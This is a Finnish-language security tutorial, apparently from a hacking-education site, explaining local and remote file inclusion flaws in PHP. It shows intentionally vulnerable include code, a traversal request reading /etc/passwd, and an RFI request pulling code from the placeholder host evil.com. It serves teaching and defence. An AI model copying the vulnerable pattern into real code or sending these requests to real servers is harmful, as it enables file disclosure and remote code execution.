HAKATEMIA
01Intro

Mitä ovat LFI/RFI haavoittuvuudet?

Helppo15MIN

Paikallinen tiedostojen sisällytys (tunnetaan myös nimellä LFI tai local file inclusion) on haavoittuvuus, jossa sisällytetään (include) kooditiedostoja virheellisesti niin, hyökkääjä pääsee vaikuttamaan koodiin jonka sovellus sisällyttää, joka tyypillisesti johtaa mielivaltaisen koodin suorittamiseen (RCE / remote code execution).

Tämä haavoittuvuus ilmenee esimerkiksi silloin, kun sivu saa syötteenä sovelluksen käyttäjältä arvon jota käytetään vaarallisesti tiedostopolun muodostamisessa, jonka jälkeen tiedostopolku (joka on hyökkääjän hallussa) ladataan kooditiedostona osaksi ohjelman suoritusta.

Tällaiset sisällytyshaavoittuvuudet ovat monin tavoin samankaltaisia kuin erilaiset tiedostopolkujen traversointihaavoittuvuudet, mutta sillä kriittisellä erotuksella, että sisällytyshaavoittuvuudet eivät pelkästään paljasta tiedostoja palvelimelta hyökkääjälle, vaan myös suorittavat koodia luetuista tiedostoista.

Haavoittuvuus on yleisin erityisesti vanhoissa (ja vanhanaikaisissa PHP-sovelluksissa).

Joskus sisällytettävän polun ei tarvitse olla paikallinen tiedostopolku, vaan se voi olla myös verkon yli ladattava URL-osoite. Tällöin haavoittuvuus (jonka nimi muuttuu tällaisessa tapauksessa muotoon RFI eli Remote File Inclusion) on erityisen vakava, koska hyökkääjän on helppo kontrolloida koodia joka suoritetaan (sen kun tarjoilee halutun koodin hyökkääjän palvelimelta).

Mihin sisällytys funktioita käytetään?

Tällaisten funktioiden avulla kehittäjä voi jakaa sovelluksen koodin eri osiin, kuten yläpalkkiin, alapalkkiin, navigaatioon, sivupalkkiin ja sisältöön, mikä tekee koodin helpommin hallittavaksi ja uudelleenkäytettäväksi.

PHP-sovelluksen sivu voisi esimerkiksi näyttää seuraavanlaiselta.

PHP
1<?php
2// Pääsivu (main.php)
3include('header.php');
4
5// Pääsisältö
6echo "Tervetuloa verkkosivulle.";
7
8include('footer.php');
9?>

Samanlaisia sisällytys funktioita on PHP-kielessä useita, esimerkiksi require, require_once, include_once, yms. Huonosti tehtynä tämä voi kuitenkin johtaa vakavaan tietoturva-haavoittuvuuteen. Mitä tapahtuu, jos esimerkiksi header.php sijasta sovellus sisällyttäisikin hyökkääjän valitseman kooditiedoston?

LFI - esimerkki

Alla on haavoittuva PHP-sovellus, joka ottaa vastaan parametrin **file **ja palauttaa kyseisen tiedoston selaimeen. Kyseessä voisi olla esimerkiksi toiminnallisuus verkkosivulla, jolla käyttäjä voi ladata tallentamansa tiedoston takaisin koneelleen.

PHP
1<?php
2if (isset($_GET['file'])) {
3    // Get the file name from the URL parameter
4    $file = $_GET['file'];
5
6    $file_path = 'uploaded_files/' . $file;
7
8    // Check if the file exists
9    if (file_exists($file_path)) {
10        // Set the appropriate headers for a file download
11        header('Content-Type: application/octet-stream');
12        header('Content-Disposition: attachment; filename="' . $file . '"');
13
14        // Include the file
15        include($file_path);
16        exit;
17    } else {
18        // If the file doesn't exist, display an error message
19        echo "File not found";
20    }
21}
22?>

Normaalissa käytössä HTTP-pyyntö voisi näyttää tältä.

BASH
1GET /download?file=tiedosto.pdf

Mutta koska sovellus ei suorita minkäänlaista validointia annetulle tiedostonimelle, kyseessä on haavoittuvuus, jota voimme käyttää hyväksi esimerkiksi seuraavalla tavalla.

BASH
1GET /download?file=../../../../etc/passwd

Eli tässä tapauksessa voimme käyttää **../ **kombinaatiota ja kiivetä hakemistopuuta ylös päin ja palauttaa muita tiedostoja kuten järjestelmän omia konfiguraatio-tiedostoja. Voimme myös palauttaa PHP-tiedostoja, joka johtaisi RCE-haavoittuvuuteen, eli voisimme suorittaa PHP-koodia.

RFI - esimerkki

RFI-haavoittuvuus ilmenee hyvin samalla tavalla, eli kyseessä on haavoittuvuus, missä sovellus ei suorita tarpeellista validointia annetulle syötteelle ja mahdollistaa tiedostojen sisällyttämisen ulkoisista palveluista.

PHP
1<?php
2if (isset($_GET['file'])) {
3    // Get the file name from the URL parameter
4    $file = $_GET['file'];
5
6    include($file.".php");
7}
8?>

*include *funktio sallii tiedostojen sisällyttämisen myös etänä ja käytetään yleensä muiden PHP-skriptien sisällyttämiseen ja suorittamiseen. Luonnollisesti on hyvin vaarallista antaa käyttäjän kontrolloida, mitä koodia järjestelmä suorittaa. Hyökkääjä voisi esimerkiksi antaa seuraavanlaisen syötteen.

BASH
1GET /include?file=http://evil.com/rce

Jolloin sovellus lataisi sekä suorittaisi PHP-koodia osoitteesta *http://evil.com/rce.php. *

RFI - haavoittuvuudet ovat luonnollisesti paljon harvinaisempia kuin LFI-haavoittuvuudet, kun taas LFI-haavoittuvuuksia löytyy vielä tänä päivänäkin todella usein erilaisista sovelluksista, eivätkä ole ainoastaan ongelma PHP-sovelluksissa. Varsinkin PHP-sovelluksissa LFI-haavoittuvuudet voivat myös sensitiivisen tiedon vuotamisen lisäksi mahdollistaa PHP-koodin sisällyttämisen ja suorittamisen.

Hakatemia Pro

Hakkeroinnin oppiminen alkaa tästä

Sadat interaktiiviset kurssit, virtuaalilabrat ja CTF-haasteet selaimessasi. Aloita ilmainen kokeilu ilman korttitietoja.